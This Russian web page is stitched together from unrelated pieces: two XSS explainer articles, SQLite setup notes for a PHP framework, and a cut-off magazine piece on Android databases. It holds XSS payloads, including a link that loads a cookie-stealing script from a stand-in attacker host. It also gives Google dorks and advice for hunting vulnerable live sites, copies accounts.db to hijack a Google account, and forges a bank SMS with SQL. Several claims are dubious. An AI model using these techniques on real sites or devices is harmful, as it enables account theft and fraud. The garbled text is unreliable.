SqliteDog — современный менеджер баз данных SQLite. Что такое «ничего»

XSS атака является одним из любимейших видов атак у хакеров. В данной статье мы постараемся в доступной форме разъяснить, что эта за вид атак, как они реализуемы, какие у них последствия, и как же от них уберечься.

Аббревиатура XSS расшифровывается как Cross Site Scripting, или «межсайтовый скриптинг». При этом первую букву С заменили на Х вследствие того, что аббревиатура CSS уже занята, обозначает «Каскадные таблицы стилей» и применяется в веб-программировании.

XSS атака – это атака на уязвимость, которая существует на сервере, позволяющая внедрить в генерируемую сервером HTML-страницу некий произвольный код, в котором может быть вообще все что угодно и передавать этот код в качестве значения переменной, фильтрация по которой не работает, то есть сервер не проверяет данную переменную на наличие в ней запрещенных знаков –, , ’, ”. Значение данной переменной передается от генерируемой HTML-страницы на сервер в скрипт, ее вызвавший путем отправки запроса.

А далее начинается самое интересное для хакера. РНР-скрипт в ответ на данный запрос генерирует HTML-страницу, в которой отображаются значения требующихся хакеру переменных, и отправляет данную страницу на браузер хакера.

То есть, говоря проще, XSS атака – это атака с помощью уязвимостей на сервере на компьютеры клиентов.

XSS атака чаще всего используется для кражи Cookies (или куки, как их произносят по-русски). В них хранится информация о сессии пребывания пользователя на сайтах, что и бывает нужным хакерам для перехвата управления личными данными пользователя на сайте в пределах, пока сессия не будет закрыта сервером, на котором размещен сайт. Помимо этого в Cookies хранится зашифрованный пароль, под которым пользователь входит на данный сайт, и при наличии необходимых утилит и желания хакерам не доставляет особого труда расшифровать данный пароль. А чем это чревато, думаю, всем понятно.

Чаще всего, как я упоминал выше, XSS атаки используются для кражи cookies (в народе – куки). В них хранятся сессии пребывания пользователя на том или ином сайте, этим злоумышленник и пользуется. Таким способом можно находится, например, на форуме, под аккаунтом другого человека. Так же cookies содержат зашифрованный пароль к аккаунту пользователя, который “сетевой хулиган” может с легкостью расшифровать и получить постоянный и ничем неограниченный доступ.

Теперь опишем другие возможности XSS атак (конечно при условии их успешного проведения).

  • Возможно при открытии страницы вызвать открытие большого количества ненужных пользователю окон.
  • Возможна вообще переадресация на другой сайт (например, на сайт конкурента).
  • Существует возможность загрузки на компьютер пользователя скрипта с произвольным кодом (даже вредоносного) путем внедрения ссылки на исполняемый скрипт со стороннего сервера.
  • Зачастую происходит кража личной информации с компьютера пользователя, помимо Cookies в качестве объекта кражи выступает информация о посещенных сайтах, о версии браузера и операционной системе, установленной на компьютере пользователя, да к тому же еще и плюсуется IP-адрес компьютера пользователя.
  • XSS атака может быть проведена не только через сайт, но и через уязвимости в используемом программном обеспечении (в частности, через браузеры). Поэтому рекомендуем почаще обновлять используемое программное обеспечение.
  • Также возможно проведение XSS атак через использование SQL-кода.
  • Как мы видим из всего вышесказанного, возможностей у XSS атак достаточно много. Злоумышленник может овладеть вашей личной информацией вплоть до получения паролей доступа к сайтам, а это очень неприятно. К тому же XSS атака наносит вред исключительно клиентским машинам, оставляя сервер в полностью рабочем состоянии, и у администрации различных серверов порой мало стимулов устанавливать защиту от этого вида атак.

    По данным Википедии XSS на сегодняшний день составляют около 15% всех обнаруженных уязвимостей.

    Различают XSS атаки двух видов: активные и пассивные. При первом виде атаки вредоносный скрипт хранится на сервере и начинает свою деятельность при загрузке страницы сайта в браузере клиента. При втором виде атак скрипт не хранится на сервере и вредоносное действие начинает выполняться только в случае какого-либо действия пользователя, например, при нажатии на сформированную ссылку.

    Напоследок дадим несколько советов веб-программистам и администраторам по предотвращению проведения XSS атак .

  • Запретите включение напрямую параметров $_GET, $_POST, $_COOKIE в генерируемую HTML-страницу. Рекомендуем использовать альтернативные функции и параметры.
  • Запретите загрузку произвольных файлов на сервер во избежание загрузки вредоносных скриптов. В частности, рекомендуется запретить загрузку на сервер файлов различных типов скриптов и HTML-страниц.
  • Все загруженные файлы храните в базе данных, а не в файловой системе. Структуры данных это не нарушает (даже наоборот), а вот возникающих проблем может быть при использовании этого подхода значительно меньше.
  • Расширяя функциональность своего сайта, помните, что при этом возрастает возможность проведения XSS атак, так что расширяйте ее с крайней осторожностью и все время тестируйте.
  • Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

    Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

    Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Если кто-то из пользователей ввёл:

    То веб-страница отобразит:

    Привет! Нравится твой сайт.

    А если пользователь введёт так:

    Привет! Нравится твой сайт.alert("Pwned")

    То отобразиться это так:

    Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

    Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

    Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

    Внедрённый код умеет всё то, что умеет JavaScript, а именно:

    • получает доступ к кукиз просматриваемого сайта
    • может вносить любые изменения во внешний вид страницы
    • получает доступ к буферу обмена
    • может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
    • подцеплять на BeEF
    • и др.

    Простейший пример с кукиз:

    alert(document.cookie)

    На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

    Виды XSS

    Самое главное, что нужно понимать про виды XSS то, что они бывают:

    • Хранимые (Постоянные)
    • Отражённые (Непостоянные)

    Пример постоянных:

    • Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
    • Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

    Пример непостоянных:

    • На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

    Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

    • DOM-модели
    Особенности XSS основанных на DOM

    Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

    Http://example.com/search.php?q="/>alert(1)

    А при открытии исходного HTML кода мы видим что-то вроде такого:

    alert(1)" /> Найти

    А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

    сайт:::DOM XSS An error occurred... function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");"); if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

    ")

    То в браузере мы увидим:

    Исходный код страницы:

    Давайте сформируем адрес следующим образом:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Теперь страница выглядит так:

    Но давайте заглянем в исходный код HTML:

    Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

    Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Где мы заменили символ ; на кодированный в URI эквивалент!

    Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

    XSS Auditor

    В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

    dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

    Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

    Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

    Примеры эксплуатирования XSS

    Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

    При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

    Пример атаки с непостоянным XSS

    1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

    2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

    2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

    2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

    2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :

    2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").

    2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".

    2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");

    3. Мэлори конструирует URL для эксплуатации уязвимости:

    3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

    3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

    4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

    5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

    7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

    8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

    Атака с постоянным XSS

  • Мэлори имеет аккаунт на сайте Боба.
  • Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
  • Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
  • В этой истории мне так понравились собачки. Они такие славные!
  • Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
  • Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
  • Поиск сайтов уязвимых к XSS

    Дорки для XSS

    Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

    Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

    Самые лучшие цели - это разнообразные самописные движки и скрипты.

    В качестве полезной нагрузки для вставки можно выбрать

    alert(1)

    Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):

    alert(1)

    Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>

    "/>alert(1)

    Давайте попробуем её для какого-нибудь сайта:

    Отлично, уязвимость имеется

    Программы для поиска и сканирования XSS уязвимости

    Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

    Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить.

    MV framework поддерживает СУБД MySQL и SQLite. Ниже представлена технология работы с базой данных SQLite, которая является компактной и быстро переносимой с одного сервера на другой, при этом обладает всеми необходимыми возможностями для современной СУБД.

    MV работает с SQLite по средствам библиотеки PDO. На большинстве серверов оно включено, но если база данных не запускается по причине отсутствия драйвера, то можно прочитать о его настройке. SQLite хоанит всю информацию в одном файле "userfiles/database/sqlite/database.sqlite".

    Чтобы открыть файл базы данных для работы с таблицами необходимо установить дополнение к браузеру Mozilla Firefox под названием SQLite Manager. Дополнение позволяет работать с базой данных по аналогии с phpMyAdmin для MySQL. https://addons.mozilla.org/ru/firefox/addon/sqlite-manager/

    Когда дополнение будет установлено, нужно запустить SQLite Manager и выбрать файл нужной базы данных "userfiles/database/sqlite/database.sqlite". После подключения файла базы данных к SQLite Manager в левой колонке появится список таблиц.

    Для создания новой таблицы необходимо нажать в верхнем меню "Таблица -> Создать таблицу", после чего откроется окно для ввода полей таблицы.

    Для перехода в уже созданную таблицу достаточно нажать на название таблицы в левой колонке. В верхней части на вкладках можно посмотреть структуру таблицы и список записей таблицы.

    При двойном клике на запись в таблице откроется окно для редактирования полей записи.

    В целом, работа в SQLite Manager не сильно отличается от работы в phpMyAdmin для MySQL. Также можно управлять таблицами и индексами, выполнять прямые запросы и создавать триггеры. Вся работа происходит только с одним файлом, который затем копируется с локального сервера на рабочий. При этом, важно не забывать ставить права на запись для файла базы данных и папки в которой он находится. В зависимости от конфигурации сервера права могут быть: 777, 770, 775 и другие.

    Настройка PDO SQLite

    Если драйвер PDO для SQLite подключен, то при вызове функции phpinfo() можно увидеть информацию о версии драйвера. Если же данной информации нет, то это значит, что драйвер не подключен и его надо включить в настройках PHP.

    В папке библиотек (расширений) PHP должны быть файлы php_pdo_sqlite.dll и php_sqlite3.dll.

    В файле php.ini необходимо раскомментировать строки для подключения данных библиотек, после чего нужно перезапустить веб сервер.

    После перезапуска сервера в phpinfo() должна появиться информация о подключении драйвера PDO для SQLite, как на скриншоте выше.

    SQLite - очень популярное решение хранения данных, и операционная система Android не исключение. Сама система и многие программы используют для хранения информации базы данных — файлы с расширением db. Какие именно данные содержатся в базах, как их посмотреть, что с ними можно сделать и чем это грозит устройству с правами суперпользователя - обо всем этом я расскажу в статье.

    WARNING Автор статьи не является знатоком баз данных, равно как и SQLite, понимает, что некоторые действия можно совершать проще, а также не несет ответственности за возникновение паранойи после прочтения данной статьи. Также настоятельно рекомендуется перед любыми манипуляциями сделать бэкап редактируемой базы.
    Работа с базами

    Для работы с базами существует немало различного софта как для компа, так и для Android-устройств. Базы приложений обычно находятся по пути /data/data/НАЗВАНИЕПАКЕТА ПРИЛОЖЕНИЯ/databases. Узнать название пакета интересующего приложения можно зайдя в «Настройки -> Приложения -> Все» и выбрав нужное (откроется вкладка «О приложении»), или в адресной строке браузера на странице приложения в Play Market.

    Чтобы попасть в сам каталог /data/data, необходимы права суперпользователя, а с просмотром содержимого отлично справится Root Explorer. Для более удобной работы, а также для редактирования баз на устройстве можно использовать, например, SQLite Debugger , а на компе - DB Browser for SQLite . Для работы с базами также необходим установленный BusyBox с апплетом sqlite3. Все манипуляции в статье проводятся на Nexus 5 с прошивкой 5.1. Доступные для просмотра и редактирования базы, разбитые по соответствующим программам, на устройстве можно посмотреть в той же программе SQLite Debugger, нажав на главном экране меню App. Так чем же могут быть полезны базы в первую очередь тебе и что может украсть злоумышленник? Попробуем разобраться.

    INFO Огромная благодарность demosfenus за помощь в написании SQL-запросов.
    accounts.db

    Находится в /data/system/ или /data/system/users/0 в зависимости от версии прошивки и содержит данные обо всех аккаунтах, зарегистрированных на устройстве. Как видно на скриншоте «Структура accounts.db» в таблице accounts, к моему устройству привязано пятнадцать аккаунтов различных программ. Почти для всех указаны логины, для части есть пароли (на рисунке часть удалена) в зашифрованном виде.


    В таблице authtokens содержатся токены авторизации от приложений, всех сервисов Google, GMS и других приложений. На вкладке extras - дополнительные ключи и значения, такие как GoogleUserId и список подключенных приложений/сервисов. У меня их около пятидесяти, включая Talk, YouTube, URL shortener, Wallet и другие.


    Не скажу, может ли злоумышленник расшифровать пароли из базы, но получить доступ к сервисам можно, просто подкинув базу на другое устройство. Попробуем провести такой эксперимент. Возьмем базу со смартфона Nexus 5 и планшет Nexus 7 с чистой системой (свежеустановленная 5.1 через flash-all.bat с ключом -w, затем root). После загрузки чистой системы нажимаем «Пропустить» при запросе добавления аккаунта, далее устанавливаем весь софт, прописанный в accounts.db (WhatsApp официально не поддерживает работу на планшетах, поэтому качаем APK с варезников или 1mobile.com). Далее скидываем базу со смартфона, помещаем в каталог /data/system/users/0 на планшете и перезагружаемся.

    После загрузки видим, что на вкладке «Настройки -> Аккаунты» появился наш аккаунт Google и дал нам полный доступ ко всем связанным программам. Почта, с помощью которой можно поменять пароль от аккаунта, все контакты с номерами телефонов, Google+, фотографии, файлы Google Drive, заметки, сохраненные авторизации в мобильном Хроме и так далее. Единственный неприятный момент - нерабочий Play Market, который выдает: «Ошибка при получении данных с сервера rpc:s-7:aec-7». Погуглив текст ошибки, можно легко его реанимировать.

    Остальные приложения вели себя по-разному:

    Вывод: к последним трем программам легко получить доступ, если увести данные из accounts.db или саму базу.

    mmssms.db

    А вот и вся наша СМС-переписка. Находится она по пути /data/data/com.android.providers.telephony/databases/. Попробуем что-либо поменять. Для примера возьмем СМС с номера 900 - это информатор Сбербанка. На скриншоте «СМС от Сбербанка до и после вмешательства в mmssms.db» слева, последнее сообщение: «ECMC6844 02.05.15 12:49 покупка 450р 210009 KARI Баланс: 3281.16р». Поменяем его на более интересное сообщение, показанное справа. Для этого открываем базу на устройстве в SQLite Debugger. Нас интересует таблица sms. Выделим необходимые поля запросом:

    > SELECT _id, thread_id, address, date, body FROM sms WHERE address = 900

    Программа имеет тач-ориентированный интерфейс, и сами команды можно не писать вручную. Они подставляются автоматически после вызова меню долгим тапом на значении или после нажатия на соответствующее слово в верхней строке. Команды показаны для удобства использования в дальнейшем (например, при работе с консолью или вызове скриптов Таскером).


    Итак, нажав на SELECT и отметив галочками нужные поля, получим таблицу, содержащую номер записи, номер ветки разговора, номер отправителя, дату в UNIX time и собственно текст СМС (см. скриншот «Изменяем значения в базе mmssms.db»). Долгий тап на последней записи. Программа предлагает на выбор действия. Выбираем Update value. Вводим необходимый нам текст. По аналогии с предыдущими СМС сделаем себе зачисление денег через банкомат. Изменим текст на «ECMC6844 05.05.15 10:18 зачисление 1000000р ATM 367700 Баланс: 1003731.16р». Сам запрос будет выглядеть так:

    > UPDATE sms SET body = "ECMC6844 05.05.15 10:18 зачисление 1000000р ATM 367700 Баланс: 1003731.16р" WHERE _id = 196

    Нажав на треугольник в правом верхнем углу, внесем изменение в строку. Подгоним время из текста СМС (05.05.15 10:18) в поле date. Можно использовать любой UNIX time конвертер, например Онлайн калькулятор unix time stamp . Соответствующая дата будет 1430810300. Добавим в конец три произвольных цифры для миллисекунд и вставим полученное значение в поле date.

    > UPDATE sms SET date = 1430810300000 WHERE _id = 196

    Две команды можно объединить в одну, вписав редактируемые поля с данными через запятую. Нажимаем в правом нижнем углу кнопку Commit и вносим изменения в базу. Смотрим, что получилось. На том же скриншоте «СМС от Сбербанка до и после вмешательства в mmssms.db» справа видно, что теперь мы богатые люди и на счету у нас больше миллиона. Иногда требуется очистить данные приложения, обрабатывающего СМС, чтобы изменения вступили в силу.


    Попробуем добавить в базу новую СМС. Для этого нам понадобятся две таблицы в базе: threads, которая хранит порядковый номер и заголовок (последнее сообщение) разговора/нити, и sms, которая хранит всю оставшуюся информацию. Вариантов событий тут два.

    Вариант 1: добавляем СМС в существующий разговор. Для этого ищем в таблице sms номер ветки разговора - thread_id, соответствующий номеру отправителя. Как видно на скриншоте «Изменяем значения в базе mmssms.db», для информатора Сбербанка это цифра 7. Добавим новую строку в разговор, показанный на предыдущем скриншоте. Заполняем следующие поля: thread_id - ветка/нить разговора; address - номер отправителя; person - если отправитель есть в списке контактов; date - время прихода СМС; read - 1 для прочитанного сообщения, 0 для непрочитанного; type - 1 входящее, 2 исходящее (есть еще 0 - отправляемое и 4 - черновик); body - текст сообщения. Для добавления новой строки в таблицу необходимо выполнить следующую команду:

    INSERT INTO sms (threadid, address, date, read, type, body) VALUES (7, 900, strftime("%s", "now")*1000, 1, 1, "Текст сообщения")

    Значение strftime("%s", "now")*1000 используется для вставки текущего времени. Для вставки конкретной даты и времени необходимо использовать UNIX time с тринадцатью цифрами. Результат можно увидеть на скриншоте «Добавляем новую СМС в существующий разговор».


    Вариант 2: добавляем новую СМС и создаем новую ветку разговора. Если по аналогии добавить строку с новым номером +7123456789, которого нет в записной книге и с которым ранее не было переписки, то в отправителях будет значиться «Неизвестный отправитель» без указания номера (см. скриншот «Добавляем новую СМС и создаем новую ветку» слева). Чтобы этого избежать, необходимо увязать еще таблицы threads и canonical_addresses. Сначала добавляем строку с номером в canonical_addresses, попутно проверяя наличие этого номера в таблице:

    Продолжение доступно только подписчикам Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

    Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов.



    Есть вопросы?

    Сообщить об опечатке

    Текст, который будет отправлен нашим редакторам: